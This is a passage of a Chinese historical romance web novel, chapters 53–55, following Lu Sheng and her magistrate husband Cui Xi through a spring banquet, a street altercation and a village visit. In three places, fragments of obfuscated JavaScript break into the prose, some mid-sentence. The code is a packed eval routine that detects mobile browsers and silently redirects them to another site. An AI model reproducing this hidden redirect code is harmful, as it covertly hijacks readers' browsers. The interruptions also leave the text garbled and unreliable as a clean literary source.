“夫人说的志高塔很好,土松了些,也肥了些。这样的巧思我从未见过,到底是夫人,见多识广,天南海北的东西都知道。”阿婆仰着头,忽然冒出这么一句。 “志高塔?”杨珞云有些疑惑。 “就是埋在土里喂蚯蚓的罐子,蚯蚓别称志高。”沈莲丰解释。 “是,夫人是这么说的。我脸朝黄土背朝天几十余年,现在人也快埋了,没听过说土里的东西能称作志高的……”阿婆喃喃,声音几不可闻。 三个人在外头有一搭没一搭地这么聊,聊到天色绮丽成霞的时候陆笙从里面出来问:“我们在外头吃如何?今日吃热锅子!” 这热锅子其实就是火锅,但没有里头能加炭火的铜锅,所以只好用红泥火炉配大开口砂锅。汤是阿灵昨日就准备的猪骨汤,上面那一层雪白的猪油被陆笙拿来拌饭吃。 香干马兰头、凉拌枸杞藤、蕨菜炒腊肉,至于汤锅里烫的就是嫩豆腐、豌豆苗和荠菜肉丸,只为吃一个清淡的春意。 几个人聚在一起便好似春宴,杨珞云提议吃一些酒。 于是小盏浊酒,温火醇汤,碎语几回天便黑了。 陆笙吃一杯觉得酒美,两杯三杯下肚头就有些晕晕乎乎,热热的骨汤一喝,深沉的心思都好似随着热气蒸发而去。 阿灵忽然和珞云手挽手跳起了舞,阿婆虽然拿拐杖,但是把盏的手却不抖,酒量也比陆笙强些。 “我来唱!”陆笙扶住头上红花,一伸手臂。 大伙儿拍手欢迎,陆笙还没唱眼泪就落下来,嘴上却笑。 阿灵戳戳杨珞云:“夫人如此……” 杨珞云说:“喝了酒就是会大喜大悲,你也喝一杯?” 阿灵皱皱鼻子说:“不不不,我不喜欢这个味道!” 陆笙抹眼泪,抹到后来自己都懵了,在做什么呢?要唱歌的呀! “我要唱了!”她大喊一句 结果隔壁忽然传来一句:“等半天了,小娘子快唱啊!”是隔壁娘子的声音。 大伙儿立刻捧腹大笑,没想到隔墙有耳呢! 陆笙清一清嗓子,唱起了在食堂打菜时最常听的歌。 “纵有红颜,百生千劫……” “……如幻大千,惊鸿一瞥” “恰似如梦初醒,归途在眼前……”[1] 53. 第 53 章 自从陆笙的食肆开张以后,衙署的饭就多是那来的了,比原来可口许多。 今天端上来的是馄饨,青葱配白衣,汤面上还飘了些晶莹圆润的油点。 崔息一手拿着笔,一手捏起瓷勺舀起个馄饨吃下。吃了几个他问秦厌:“今日怎么吃上馄饨了?” 秦厌站在一边感叹:“夫人喊灵小娘一起去踏春了,所以临时改了馄饨,午时吃馄饨,晚时还是吃馄饨,诶……” “嗯,是该松一松,春光正好。”崔息搁笔时又吃下一个。 “公子,你说她们会跟着夫人吃什么好吃的?我在公厨听他们说什么竹荪、蕨菜、山鸡还有竹虫,又说蕨菜掰起来脆脆的,采得太多就焯水再晒干做成干的或者咸菜,诶……” 崔息揉揉眉心问:“你同阿木凌如何?” “什么?!公子你说什么呢?”秦厌脸唰的一下红透,但还是要挣扎几句。 “你若有心相求,应当从人家的角度看看为什么,在我面前长吁短叹有何用?” 崔息听他那股怨气好几天了,起初以为他能明白,没想到他还没想通。 “那……我说我想接手个桑树园子然后养蚕呢?”秦厌知道自己什么也不懂,公子和笙姐姐又忙得如火如荼,所以一直憋着没说。 崔息反问:“为何不可?” 秦厌瞪大眼睛,难道说自己有经商之才,自己没发现但是公子晓得! 看着他逐渐放大甚至溢出的信心,崔息沉吟后接一句:“自负盈亏。” 正说着,汤伯敲敲门,崔息允下后他进来放下了几封信与文书,秦厌有眼力见地撤退了,并将门关上。 这间屋子的窗户开在之前崔息与陆笙住的那处,因为安静所以他常在此处办公。 拿了信在窗边拆开,读过后分门别类,这信其中一封是关于熊掌案的,他抽丝剥茧分析已知信息后发现,那些熊掌都会在春末夏初时送去江南。 滥捕无度加官商勾结,此案顺藤摸瓜翻出了本地乡绅的人脉,虽不完全,但有大事时或可一用。 第二封是段习之寄来的,说他当刺史的一些杂事,又说今年夏他会与夫人一同过来,到时要崔息备上好酒好菜,痛饮狂歌。 崔息拿着信不由叹息,有一件事他一直很想问段习之,想问要怎么才能让自己的夫人心情愉悦一些。他自觉还算努力,可总觉得够不到边,陆笙不快乐,她没有由衷地感到快乐。 询问的言语在他腹内已易数稿,可一次也没有落笔。因为他知道,这封信从自己的手里出去要经过多少的时间,但不知道这期间到底会不会有人打开,白纸黑字的信会不会成为什么证据。 自己这个僭越罪臣太容易被泄愤,来此地当四年县令是他为自己争取的一点心愿,如今只要李同诤在位一天,崔氏仍为高门他就并没有太多的选择。 族种自他来永平后并无音讯传递,崔息明白自己的处境,毕竟进士及第并不能及官至三品的宰相重要。崔氏高门里以后会有更多的进士,不缺自己一个,但紫袍大官毕竟稀少,权势又不是区区秘书省校书郎可比拟的。 想到那位威严的叔伯,崔息心里冷彻,如果李同诤可以容许他当个刺史,那叔伯恨不得自己早就死了,他对母亲也是这个态度。心气最高的时候,崔息立志要挤下他,现在……不值一提。 自己不值一提。 有时候他甚至怀疑是不是因为自己娶了陆笙,所以她才失去了一些发自内心的快乐,以后若还有各种无妄之灾,连累于她自己更是无地自容。 崔息靠在窗口,对着地上落了的海棠出神。 忽有一片云彩路过,遮蔽了光线,崔息晃晃脑袋,从呆滞中回神,他还有公务要处理,馄饨也还没吃完。 - 闪电划破密布的阴云的时候,秦厌坐在岸边一笔一画地计算自己有的老本,这是公子和丰娘给她存的,上京的铺子还没卖,算一算他好像并不缺钱,但钱就像是水,只进不出就会干涸,得想个赚钱的法子。 公子说的阿木凌的角度,秦厌思考了一下,觉得应该叫她有个能够不断发展的事业做,也有一天比一天好的期盼。 经营养蚕或者缫丝是他这脑子能想出来的最好法子,因为阿木凌去学的就是这个,到时候在桑园里建一间屋,不知道她会不会喜欢,应该比在州府安静吧? 要经营声音最好精明谨慎,可商人的买卖他一窍不通。秦厌抱着自己的头,想这些实在是头疼,恨不得撞墙。要是靠军功挣钱就好了,可自己也不能为了挣军功就离开公子。 老天,怎么这么复杂啊!! 他深感崩溃之际,老天似乎听到了他的心声,闪电过后不再只是闷闷的雷声。一道裂天闪电跟着地山倒般的巨雷滚滚而来。 那放在案边的剪刀都在颤抖,秦厌赶紧关上窗,举起手求饶。 “再也不乱说话了!难是我的问题!不是老天的问题!” 告饶的时候,外面雨声如细石子噼噼啪啪地打下,秦厌偷偷打开一个缝隙,原来外面已经下起大暴雨,花朵被雨水打落,嫩叶也落了一地。 天威又发,轰隆的巨响里秦厌赶紧把窗关上,又扫了扫头顶被雷动声震下的灰。 关着的门忽然被吹开,一片颀长黑影出现在门口。 秦厌瞪大眼睛握住了腰间长剑,好在烛火叫影子显了形。 “公子,你吓坏我了!” “又没做亏心事,吓什么?快,随我去赶车。”崔息瞪他一眼。 崔息看看外面的雨,知道这天气夫人肯定还没有回去。 雨水沿着屋檐落下,雨势太大,已连成了一道线。 陆笙是不怕打雷的,相反她小时候很喜欢这样雨天,此时天地间仿佛有有神威,她心无旁骛也理直气壮。 “夫人,擦擦雨水吧,你身上还湿着。” 沈莲丰为她拿来一块布巾,刚吃完酒人是热的,雨水一浇容易伤风。 “今夜想必是回不去了,待雨水小一些,我们就去借些被褥。” 天雨泥泞路难走,走回去丰娘裙摆会沾上湿泥巴,珞云也可能跌倒。 陆笙伸手接一些雨水,眼泪却又流下来,惊雷照破震颤的何止是天地。今日再没有小时候的理直气壮,不过她还是不怕打雷。 “笃笃笃” 神威之中有一阵细微的声音,仔细一听原来是敲门声。 阿灵家的院子也有一条石子路,陆笙撑着伞,油纸伞上传来沉重的雨水拍打。 伸手开门,门外站着秦厌,他却不说话,看到门开赶紧侧身。 他身后是崔息,她持着不停飘摇的灯火,持着伞静默而立,头微微低下,听到开门声才抬起来。 看到陆笙,被灯火照亮的眉目舒展。 他说:“夫人,我来接你回家。” 马车当然不是直接回家的,而是绕行了杨珞云的住处。 回家时崔息说今夜要留在她的屋子里。 “不可!”沈莲丰下意识帮陆笙拒绝。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157539|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 崔息心虚,之前的话确实半真半假,现在丰娘这两个字估计要终结与陆笙七日一次同屋而眠的机会。 谁知陆笙却摆摆手说:“无妨,今夜还是照常来吧。” 沈莲丰及时退下,掩一掩方才的失态。 之所以失态,是她在为陆笙醉酒小憩盖毯时发现了些端倪。 她发现娘子身上有青紫的淤痕,不只一个,是密密的一群。 落在她的皮肤上沈莲丰只觉得触目惊心,捂住嘴巴什么也说不出来。娘子会武功,府里也无人如此大胆敢无礼于夫人,所以……只可能是她自己。 这叫沈莲丰记起崔娘子说过一些关于“无望”的话。 她说:“才绝惊艳者是无望的,因为无人可说,天地辽阔自己却寂寞。爱己及人者是无望的,因为别人并不关心你,人与日月不同,爱是有限的。宫里的女人是无望的,因为不得不争斗。偏偏在宫里聚集着才绝惊艳、爱己及人的女人,宠爱就这么些,人家看你先看宠爱多少,在里面不斗也得斗。” 因为无望所以她拒绝皇帝的“恩赐”,至于帝王为何没有靠权力夺取成功,这就是另一件伤心事了。 沈莲丰那时候还听不懂,她只是因为会些粗糙拳脚被公主选去的婢子,懂一些的时候崔娘子已经过世。 公主说崔娘子因聪慧而死,轻而易举就看了自己的结局。或许于她宫内宫外,是一样的无望。 娘子也像是这样的人,可自己的本事并不能叫夫人有望,这时候她又觉罪地庆幸,庆幸阿郎不是皇帝。 沈莲丰向天合掌,只愿天有眼,地有情,能眷顾娘子与阿郎。 - 陆笙和崔息在壁炉前烘头发,外面的雷雨没有小的势头。已经干了的头发太轻,被缝隙间的冷与壁炉里的热晃动着,陆笙拨开脸上的一缕头发挽在耳后。 崔息知道她要说话,坐得更正了些。 “云尘,之前说的七日一回能不能改换?”陆笙双手握住,提这个要求她莫名有些不好意思。 崔息心里是不愿意的,奈何自己编造在先。 “不知夫人要如何改换?” “每日来吧,每日来可以么?”陆笙已经明白自己的心冷在哪里,她需要人与人之间的情感,也需要给予别人情感。 崔息一时没有反应过来,反应过来的时候面孔发烫,半天吐出一个“好”字。 “能不能把你的琴也拿过来?我喜欢听你弹琴。” 崔息说当然好。 烘干头发以后陆笙爬上床,崔息睡在书架旁。 陆笙躺在床上,心情有点像跳跃的火苗,有些兴奋,但寂静无声。 她闭上眼尝试睡觉,但翻来覆去睡不着。 “睡不着么?”崔息的声音从楼下传来,原来他也没睡。 陆笙问:“若我说要与你偷欢,与你有床笫之欢你也会说好么?” 说完陆笙立马后悔,她只是想问为什么他很少拒绝自己。 “我们是夫妻,不能偷欢。”他声音似乎有些微微的颤抖。 崔息对她的问题看似很包容,但回答却有些她的影子,先是偷换概念,之后再糊弄一番,明显是不想回答。可能他对这段关系没有什么风月遐想,只重情义但少爱无欲。 挺好的,陆笙想。只是不明白他是怎么做到的,自己对于他有欲望,想将崔息褪尽藻饰,看看他各种模样。这念头一出现她吓了一跳,赶紧把自己的脸蒙上,得睡了,再不睡要成狼人,色狼的狼。 54. 第 54 章 一阵渺远的歌声把陆笙从睡梦中吵醒,睁眼之前她还以为是梦发出的声响。 睁开眼睛,那声音依然在,旋律轻轻重重地不断传来。她下意识推动轴窗,发现屋里还是暗的,只有壁炉里的余烬在微弱闪烁,像夜尽时的星光。 “夫人醒了?”崔息的声音从楼下传来。 陆笙马上缩进被子里,她没有穿太多衣服,肌肤滑过他略带磁性的嗓音有些微微地恼人。 “不多睡一会儿?”陆笙问。 今天是崔息休沐的日子,平日里已如此繁忙,今日应当贪睡才是。以及,陆笙忽然想到一件不太妙的事,难道说崔息现在就要开始上班? “平时去衙署已成习惯,一时改不过来。” “你听到了么?好像……有人在唱歌。” 那声音幽远,以至于陆笙有些不太确定,梦未消时这样的光影声音和忽然冒出的念头叫人恍惚。 “今日是上巳节,也是这边土人的三月三,县城里的一部分土人会去黑寨唱歌,去的路上也会唱。怎么,夫人不知道么?” 陆笙抓抓头发答:“说来也巧,三月三好像都在路上,唯一不在路上的估计被我睡过去了。” 说完她抱着被子,准备光明正大地“赖”一会儿床。 崔息突然笑。 问他为什么,他说:“上巳是有情人相会的日子。” “嗯,这个我知道,所以呢?”陆笙还是不太明白。 “说明夫人走镖繁忙,没有时间过上巳。” “你!” 陆笙语气带着点咬牙切齿,以前他还会问“不怕么”,现在居然笑自己没时间过节么? 崔息已经觉得自己的话太过直白,没想到陆笙还是没有听懂,但更直白的他实在不好意思说,太强求表达只会别扭,可又怕她生气。 于是他只好请罪:“是云尘失言,乞请夫人宽恕。” 陆笙看他如此,觉得自己会错了意,他或许在体谅自己辛劳。 为缓解气氛,她问:“云尘,你呢,你从前怎么过上巳?” “母亲会带我去寺院,去寺院的净池沐浴,焚香诵经后回家……” 趁他说话,陆笙咬着唇尽量无声地慢慢爬下来。 崔息其实已在绑幞头,视线里的帘子忽然晃动,可那只三花也不在屋里,他一抬头原来是陆笙。 她赤着脚,往下爬。 大概还未完全醒,有时还要试探性地往下够一够,崔息看到她修长有力的小腿,以及木板留在她脚底的红印,都怪自己点了灯,崔息赶紧低头。 陆笙转头,看到崔息居然已经穿戴整齐,现在正围蹀躞带,就是耳根不知为何发了红。 她不由悲戚:“你这么早就要去视察!?” 崔息摆摆手,说今日不去了,昨日忘却了三月三,节日就应该叫百姓安心地过,自己不该平添几分不适。 “县令大人明察,那为何这么早就绑了幞头穿了袍衫?” 看陆笙眉眼弯弯的模样,崔息自动把“明察”翻译成了“有自知之明”。 至于为何早起,是因为怕陆笙看到自己才睡醒的模样。 睡眼惺忪披头散发,实在不成体统,也不好看,以前自己比她起得早还可以避开,今日却不行。 当然,借口他也想好了,崔息说:“我去为夫人买些朝食来,夫人也好梳洗一番。” “好,记得去阿灵那买,顺便看看买的人多不多。” 陆笙知道他说的不完全是真话,但还是放崔息一马,她想知道自己教阿灵做的油条和大饼到底好不好卖。 那做饼的工具还是她专门定做的呢,和馕坑原理差不多,底下烧炭,然后饼拍在坑壁上,适时翻面。 如果上面加个金属板,或许还能做馍,到时候往里填上切碎的的腊汁肉,再提供些解腻的小菜。如果拿纸包太贵,就用竹叶、粽叶一卷,拿着就可以走了,只可惜现下人不够。 如今的码头和前些日子完全不同,已经有些小而轻的货船划过来,贩些酒与粮食去附近的县与村落去卖货。 也有专门在此地销货的,为的是这里含铜量更高的钱币,但本地人也知其门道,一般会讲些价或者用谷物、绸布做交易,于是最近县城买卖双方都在那聚集,而且来得越早生意越多。 有先见之明的丰娘之前还物色了其他铺子,据说现在光是铺子的价格就涨了不少。 陆笙手里的流动资金不多,固定财产倒是有些溢出,可也不能卖,她还准备给那四把刀剑分别配个木胎的剑鞘,不然以后出门,刀未出鞘,鞘却被偷去。 支起窗户,把兰花搬到光照得到的地方后,她洗漱一番去练拳,练完估计崔息正好回来。 闭上双眼,吐出浊气,深吸一口。 咦?今日屋子里居然没有檀香味,不知他昨夜是否好眠呢? - 素色白袍蹀躞带,崔息带着一小袋铜钱便出发。 县令府邸坐落在城东,以前走几步再拐两条巷就是热闹地,现在却像码头附近挪移。 隹家的铺子的价格在慢慢涨,手快如沈莲丰已经买了,但更多的人是再观望一下,想等到夏日大商船来时再说。 边走边看附近商户,有些店主认识他,但看县令白袍的样子知道人家这是私事外出,便只是拱拱手不做打扰。 但也有不识趣的,在一段僻静路拦住了崔息。 崔息看这个装束带有土人倾向的青年略作判断,但不开口。 “县令大人,您治县政可是按国法?”青年咬牙切齿地问。 “自然如此。” “那县令夫人若有杀人之过,该当如何!” 隹崖堵住这个崔县令,气势汹汹地冒出这么一句话,他倒要看看,这县令是如何包庇自家人的。 崔息皱眉。 “哼,县令大人哑巴了?!”隹崖愈发愤怒。 “你是隹崖的小儿子?你应该先去衙门击鼓最好请人写张状纸,状告何人有何证据。堵我一个人,现在叫我查也只算是私查,不是你要的明查。劳烦让一下,我还要为夫人买朝食。”崔息认真为他指明告状步骤。 隹崖却觉得这县令气定神闲是在耍逗于他。 “你们这些北人,嘴里没一句实话!”隹崖一想到那瓦片上密密麻麻的“陆”字就恶心,如何恶毒的人才能做出这样的事! 他冷笑一声,掏出一片瓦砸向崔息。 “你看看,这就是那个陆笙写的!” “如何断定是我夫人所写?单凭一个陆字?这瓦片你又从何得来?又是否亲眼所见?口口声声说杀人之过,所杀为谁?”崔息的声音一如既往,只在最后一句里带了些不耐。 “你!” 隹崖只是逞一口气,没想那么多,如今倒是被问住有些不知所措。 “劳烦让一让。”他放在身前的手做了一个请的姿势。 眼看这天色已经越来越明朗,崔息心里生出些着急。又因这人胡言乱语,他催促的语气不由带了几分命令。 隹崖听他的语气气根本消不下去,加上自己家的铺子最近也因为崔县令家插手食店而不顺。 好好说话也就罢了,现在看自己不打他个鼻青脸肿。 隹崖握紧双拳,架势刚摆出就被人一脚勾翻在地。 “公子,你怎么亲自出来了?”秦厌像走路踢开一块碍事的石头,踢完就问要紧事。 “买些朝食回去给夫人。” 崔息边走边说,现在太阳都露出半边了,再晚她就要打完三十四式。 隹崖觉得自己被暗算,爬起来要继续出手,秦厌忽然转过头来。 “真把自己当跟葱了?当街殴打朝廷命官,不懂法啊你!而且,这么三脚猫的功夫也好意思出来混?” 隹崖涨红了脸朝秦厌大喊一声:“滚!” 崔息的声音在前方幽幽传来:“下手轻些。” 秦厌嘿嘿一笑转头答应:“知道了,公子!” 隹崖趁着他转头直接攻上去,出拳带风,这是下了死手,但秦厌微微一避就躲开,只有拳风掠过耳廓。 秦厌反手一击,力道落在他右臂上,隹崖吃痛倒退,右臂完全麻木无法动弹,不知道他使的什么手段。 “哟,这都打不中?”秦厌觉得无聊,居然这样都打不中一拳。 隹崖正是血气方刚的年纪,听他这么一说更不服气,直接掏出了腰间的一把匕首。 “隹崖,住手!”他身后有人发出爆呵。 秦厌歪头一看,啧,谢家人,反正没得打了,他直接脚尖落地飞速离开现场,他也肚子饿啊!至于隹崖和谢栖真如何,他才不管,只要汇报给公子,他会有判断的。 离开时秦厌耳朵一动,不知是谁给谁来了一记异常响亮的耳光。 打完三十四式的陆笙开始巡视草菜一体后花园。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210694|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 临近清明雨水多,植物的生长变得旺盛一些,她种的蚕豆已经开了紫色的花,有些已经有了豆荚。茄子秧苗看不出什么变化,估计要到盛夏才明显。 这几日水道商路上也有秧苗过来,陆笙买了胡瓜和丹色百合花。 胡瓜就是黄瓜,这在没有空调的时候这是解暑佳品,到时候放井水里镇过空口咀嚼,苦夏就没有那么难熬。 走完一圈她去找了把农具,有些过高的草她准备锄去,然后覆在土层上。地其实并不算大,但弯腰劳作费腰,只是四五个菜畦腰就开始发酸,要是在夏天怎么得了,又要浇水又要锄草,加上滚烫的阳光,这工作量不得翻几倍? 但看到一片又一片展开的新叶,和长得有些霸道的薄荷还是开心的,她愿意起大早在盛夏时给它们浇水。 闻着迷迭香在如同波浪起伏的冷暖空气里时隐时现的气味,陆笙继续锄草,甚至准备再多栽种一些,可以驱虫。 种了菜蔬之后陆笙更加具体地明白,如果不去干涉那东西很难长好,天气、虫害、土壤成分各种因素都在影响它。 再自然的养法也需要经过人为的匹配和计算,或许可以达到某种平衡,但实践和计算量大得可怕。 如果是要拿去市场买卖那么付出的精力肯定会更多,必须要看到回报的付出可不像自己这样带有实验性质地乱来。 要不要再种一组悉心照料的对照组呢?陆笙扶锄头思考。 答案还没有出现,崔息倒是来了,他喊她吃饭。 此时太阳已经全部升起,叶间的露水一点点蒸发,崔息迎着光,面色微红。 两人坐在桌前吃饭,陆笙问了些铺子的事,有婢子端来刚磨的豆浆,旁边是琥珀色的蜂蜜与雪白的井盐。 陆笙直接把油条一点点掰开然后泡进豆浆,末了还洒一把盐,喝一口还觉得不够,出去摘了些葱。 崔息虽然不爱吃甜,但豆浆却爱放蜂蜜,看到她这通操作有些愣神。 “不过是拿吃茶的方式来吃豆浆,怎么了?” “是我少见多怪。”崔息恢复过来,也学着陆笙的样子吃,味道竟然还不错。 “夫人的字写得如何了?”崔息搁下勺子忽然问一句。 “还算勤恳,怎么要看看吗?”陆笙很有自信,她几乎每日都写,每个字的笔画走势都认真研究过的。 崔息说不必了,陆笙却不肯,展示成果这件事她必须干,于是让崔息磨墨自己铺纸,笔头吃墨,她执笔操控写了“云尘”两个字。 “夫人,能写你的名字么?” “当然。” 陆笙一笔一画写完,侧头问他:“怎么样?” “字稳了许多,落笔也有了技巧,夫人进步很快。”崔息毫不吝啬地夸奖她。 她写的“陆”字和瓦片上的很不相同,但那天她衣服上的灰尘却是一样的,崔息不由笑,夫人真是聪明,原来用左手刻的。 “笑什么?” “没什么,只是觉得你的字好看。” “违心话,你觉得好看的字该称书圣了吧。” “怎么会呢?写得最好不一定喜欢,喜欢的不一定最好。” 陆笙一想这逻辑说得通,感情确实不讲道理,又问:“今天陪我出城一次如何?” “愿追随夫人南北东西。” 出行时看到陆笙准备豆饼、草料还有一株花苗有些不解,便问她准备这些做什么。 陆笙说到地方你就知道了。 上次与她比肩并辔还是冬日,如今春山已绿,万物生发。今天又是个难得的晴天,野外鲜艳,偶尔也闻不知哪出传来的歌声,可陆笙的目的地却是之前水走泥的地方。 拿出三炷香插在石头缝隙里,今日无雨陆笙不敢点火。 崔息在一边托着贡品,陆笙把东西扔进湍急的河流,这些都是给她那匹小马儿的。 “清明节雨太多怕它不喜欢,挑个喜庆的日子,本来不敢来的……” 崔息掏出自己的墨竹帕子给陆笙。 陆笙不接,只背着他,面朝远处。 风把她的衣服吹得猎猎作响,良久后,崔息听到她说:“谢谢。” 崔息觉得自己两片嘴唇颤抖着,原本的语言可以像他的字,俊秀飘逸,筋骨齐全,承载他想承载的,不会偏颇如此,仿佛未经打磨不够诚挚。 他说完想低头,陆笙却转过来。 她说:“好。” 55. 第 55 章 村道两边的土地被纵横的草色田垄分割成块,一小块里分布着一到两个人与至多一头的牛。 “客商,自从县令大人颁布粮令后大伙儿都忙碌起来了,恨不得多耕几亩地,还好这些年也没荒废太多,所以您需要的粮食怕是难买呀!要不看看我们村里的果蔬?”村正钱大郎走在崔息旁边对他介绍。 陆笙四处望望,发现犁地者没见用那曲辕犁的,还是从前的耕作工具。 崔息问钱大郎:“村里的土地自耕者多还是租出卖出的多?若我想买能买多少?” “这……自然是租出卖出的多,好地多半租给了本县的大族,譬如谢家和隹家,您怕是没机会了,除非开垦荒地。” “开垦荒地可不得了,锄草、施肥不说,万一分到一块地石头多那更是麻烦,光是锄头镰刀就用得比别人费上许多。”陆笙摇摇头。 “想不到夫人您也是懂开垦的,正是您说的这份道理,所以……”钱大郎还没接下去说就听见不远处有人在喊叫。 这片村庄在山间平地里,叫喊声轻而易举传遍整座村子。 陆笙看到一个蓬头垢面衣衫褴褛的男人飞快地向他们奔过来,身形矫健,像是练家子。 崔息跨出一步挡在陆笙面前,钱大郎却跑过去,他身躯宽大,边跑边喊:“拿竹竿!拿竹竿!前边我来堵!” 崔息和陆笙对视,这是……怎么了? 眼看后面两人从附近人家拿了竹竿就要打那名貌似乞丐的男人,谁知他忽然变了方向,踩着谁家鸡棚换了个方向跑。 村里的人似乎都默认不能叫他跑了,那些原本还在田里的人看到这个场面纷纷回来,拿着农具驱赶他,像赶一头逃跑的动物。 最后那人直接上了树,动作之快叫陆笙疑惑。崔息也有些疑惑,这人明明有可以直接跑出去的身手,怎么只是上了个树? 两个人又听到村正对着他大喊:“下来,这次说什么也不相信你了,你得给我们犁三十亩地才能走!” 那人不说话,看到陆笙时被挡住的眼睛忽然发亮。 他朝着陆笙大喊:“姐姐救我,救我啊!!”边喊他边从树上下来,像是飞蛾见了烛火似得不顾一切。 陆笙从崔息身后站出来一些,捂住崔息这侧的耳朵朝那人大喊:“我!不!认!识!你!” “呜呜,我吃了好多只鸡,回不去了,我是阮师弟的师兄啊!” “阮师弟?阮清淮?”陆笙试探性地问。 钱大郎本来已经挥手,身后的网兜都准备好,可这野小子似乎真与客商认识? “呜呜,就是他,这一程害得我好苦啊!” “你有什么证据。”崔息语气淡淡,话语间还是不信任。 “证据扣在村庄家了,是一枚桃木指环!” 陆笙看向村正,那位钱大郎挠挠头,心想也没有扣留他什么东西,便说:“我哪有扣留你什么东西?” “那天我吃鸡的时候放在你家了,你后来也没还给我,那就是扣留!” 钱大郎听他这一番无赖话直想翻白眼,他就指着那人说:“二位客商,这人是个馋嘴道士,说话还疯疯癫癫的,莫要被他骗了去。” “对,不要被他骗了!” “这人是个骗子!还把牛婶家的鸡给裹泥巴烤了!” 周围村民也帮腔。 “什么骗子,我是神算子!”一身邋遢的男人撩开污发,一脸不服气。 最后是陆笙说去找一次自己就会付吃鸡的钱。村正这才同意,反正他家里不大,找就是了。 “师弟说得对,你果然是心善的娘子,我叫葛聆,是钦天监的监正。”葛聆喜极而泣,自己的卦果然没算错! 崔息听他说是钦天监的便问了些大明宫里的摆布摆设和朝会时间,没想到这人全都答得上来,但他记得监正并不叫葛聆而是叫葛文。 带着满腹狐疑,一行人到村正家里去。 葛聆忽然伸手。 “干什么?” “给我三枚铜钱。” 村正眼睛一瞪骂道:“你个贼还敢光明正大管我要钱?” 葛聆正想反驳却觉得手心一凉,三枚金色铜钱落在手里,一看是好心的陆娘子给自己的。 他不多废话从身上拿出了一个龟壳,三枚铜钱装进去,摇了几下。 村正心想这不是装神弄鬼么?外来的客商还真是被这小子唬住了。不管,反正鸡的钱没缺,让两人吃一堑长一智呗,大不了晚上住自己家,再杀只鸡就是。 想的时候那葛聆已经把三枚铜钱摆在手心,略一看就高兴道:“有了,去房子里的东南方向找。” 他想走进去村庄却不让,葛聆问:“怎么,想反悔不给找?” “你太脏,我和两位客商去就好。” 葛聆一听抓住陆笙的手说:“好心的姐姐,看在我师弟的面子上让我洗个澡吧,我给你免费算一卦。” “算卦就免了,等指环找到再说,如何?” “一言为定!”葛聆对自己的卦十分有自信。 村民围着村正家门口窃窃私语,田耕虽然着急但这热闹也必须看啊!眼看着三个人进去好一会儿不出来,有人忽然喊:“有没有啊?” “是啊,村正,有没有啊!”另一个人帮腔。 但里面没动静,葛聆都想亲自进去看看的时候三个人出来了,陆笙拿着桃木指环说:“有,真有。” “神算子,神算子您来我家吧,我管您洗澡也管饭,帮我算算什么时候发财!” “我也是我也是,来我家!” 眼看着真有桃木指环,各个都争先恐后要葛聆去自己家。 “我只算有缘人的卦。”他闭眼摇摇头,一副邋遢相此时都有了些世外高人的意思。 陆笙很想拆台问那圣人让你算,你算还是不算? 谁知道葛聆看着她的眼睛说:“所以我出来了。” …… 好像真有两下子。 “咳”她清咳一声,从钱袋里掏出一小枚银子给钱大郎。这钱一是为交清这葛聆欠的债,二是为他等下洗澡和穿衣的费用。 钱大郎不推辞,说声感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210695|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢就接了去,银子可比铜钱值得多,到时候兑开来,少说多赚了三十枚钱。 “我们再去走一圈,你好好洗个澡,午食再相见。” “好姐姐,那这钱怎么办?” “我刚才不是给了么?” 陆笙忽然有点好奇,他不会是…… “这么点就管这么多事?”葛聆一脸惊讶。 果然,陆笙抿抿嘴,看来真是大明宫出来的,不懂人间哭乐啊,又看看身边皎月似的人物,心想或许不懂也好。 周围人被村正劝走,不过大伙也急着犁地,看完热闹再不情愿也要散。 装扮成客商的两人也走出这片热闹地。陆笙指着几棵树对崔息说:“云尘,你看这村里好多人家都种了桑树。” 桑果这时候还没泛紫,是绿色的,靠近整体的那部分有些微微泛红。 崔息明白她的意思,便讲:“到时问一问村正,从前这里是否会织些丝布?” “嗯,我们再往那走走,我瞧见那边的是一人一牛在犁地,周围还有鱼塘的样子。” 崔息点头,她现在说的都是公事,自己也不大好问私事。 “桃木指环是阮清淮送的,不过我没要。”陆笙双手背在身后,看农家小院里有爬藤的黄木香,桃花快谢尽了,木香渐渐开放。 崔息侧首问:“做得不好么?” 陆笙把指环拿出来,一枚朴实的指环,但已摩挲得发光,似乎也不能用好与不好来说。 话走到这里,陆笙发现不应该再说下去,此事就是当年阮清淮求娶自己的见证,本来不记得,但一看到物件事情又浮现出来,像吹去一层灰,记忆里的桃花仍鲜艳。 当年他是真心的,这件事也属于他们两个人的经历,说予第三人总觉得有些不礼貌,哪怕现在是陌生人。有些事可能就应该像埋在土壤里的水果、蔬菜,从有形化作无形。 “不合适。”陆笙斟酌再三把事情埋下,模棱两可的三字带过。 